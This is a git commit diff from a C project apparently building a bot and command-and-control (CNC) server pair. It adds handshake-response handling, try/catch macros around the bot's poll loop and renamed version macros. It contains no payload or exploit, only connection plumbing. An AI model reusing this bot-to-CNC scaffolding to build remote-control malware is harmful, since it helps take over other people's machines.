Protected handler calls in bot.c

- Added support for LAIKAPKT_HANDSHAKE_RES
This commit is contained in:
CPunch 2022-01-25 11:58:36 -06:00
parent 1bccc78117
commit 04f02b4371
8 changed files with 40 additions and 21 deletions

2
.gitignore vendored
View File

@ -1,4 +1,4 @@
build
debug
bin
.vscode
.vscode

View File

@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
set(BOT_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
project(LaikaBot VERSION 1.0)
project(LaikaBot VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
set_property(GLOBAL PROPERTY USE_FOLDERS ON)

View File

@ -7,7 +7,15 @@ size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
};
void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
printf("got %d packet id!\n", id);
switch (id) {
case LAIKAPKT_HANDSHAKE_RES: {
uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
break;
}
default:
LAIKA_ERROR("unknown packet id [%d]\n", id);
}
}
struct sLaika_bot *laikaB_newBot(void) {
@ -42,8 +50,8 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
/* queue handshake request */
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
laikaS_writeByte(sock, LIB_VERSION_MAJOR);
laikaS_writeByte(sock, LIB_VERSION_MINOR);
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
if (!laikaS_handlePeerOut(bot->peer))
LAIKA_ERROR("failed to send handshake request!\n")
@ -58,16 +66,19 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
if (numEvents == 0) /* no events? timeout was reached */
return false;
LAIKA_TRY
if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer))
goto _BKill;
if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer))
goto _BKill;
if (!evnt->pollIn && !evnt->pollOut) {
if (!evnt->pollIn && !evnt->pollOut)
goto _BKill;
LAIKA_CATCH
_BKill:
laikaS_kill(&bot->peer->sock);
}
laikaS_kill(&bot->peer->sock);
LAIKA_TRYEND
return true;
}

View File

@ -16,6 +16,7 @@ int main(int argv, char **argc) {
}
}
laikaB_freeBot(bot);
printf("bot killed\n");
return 0;
}

View File

@ -5,7 +5,7 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
set(CNC_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
project(LaikaCNC VERSION 1.0)
project(LaikaCNC VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
set_property(GLOBAL PROPERTY USE_FOLDERS ON)

View File

@ -7,10 +7,11 @@ int main(int argv, char **argc) {
while (true) {
if (!laikaC_pollPeers(cnc, 1000)) {
printf("no events!\n");
LAIKA_DEBUG("no events!\n");
}
}
printf("cnc killed\n");
laikaC_freeCNC(cnc);
LAIKA_DEBUG("cnc killed\n");
return 0;
}

View File

@ -6,10 +6,10 @@ set(CMAKE_C_STANDARD_REQUIRED ON)
set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
# version details
set(LIB_VERSION_MAJOR 0)
set(LIB_VERSION_MINOR 0)
set(LAIKA_VERSION_MAJOR 0)
set(LAIKA_VERSION_MINOR 0)
project(LaikaLib VERSION ${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
@ -19,10 +19,10 @@ file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_library(LaikaLib STATIC ${LIBSOURCE})
# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaLib PUBLIC LIB_VERSION_MAJOR=${LIB_VERSION_MAJOR} LIB_VERSION_MINOR=${LIB_VERSION_MINOR} "$<$<CONFIG:Debug>:DEBUG>")
target_compile_definitions(LaikaLib PUBLIC LAIKA_VERSION_MAJOR=${LAIKA_VERSION_MAJOR} LAIKA_VERSION_MINOR=${LAIKA_VERSION_MINOR} "$<$<CONFIG:Debug>:DEBUG>")
# add include directory
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR})
# set library name
set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR})
set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})

View File

@ -10,13 +10,19 @@
#define ARRAY_START 4
/* for intellisense */
#ifndef LIB_VERSION_MAJOR
#define LIB_VERSION_MAJOR 0
#ifdef DEBUG
#define LAIKA_DEBUG(...) printf(__VA_ARGS__);
#else
#define LAIKA_DEBUG(...)
#endif
#ifndef LIB_VERSION_MINOR
#define LIB_VERSION_MINOR 0
/* for intellisense */
#ifndef LAIKA_VERSION_MAJOR
#define LAIKA_VERSION_MAJOR 0
#endif
#ifndef LAIKA_VERSION_MINOR
#define LAIKA_VERSION_MINOR 0
#endif
#endif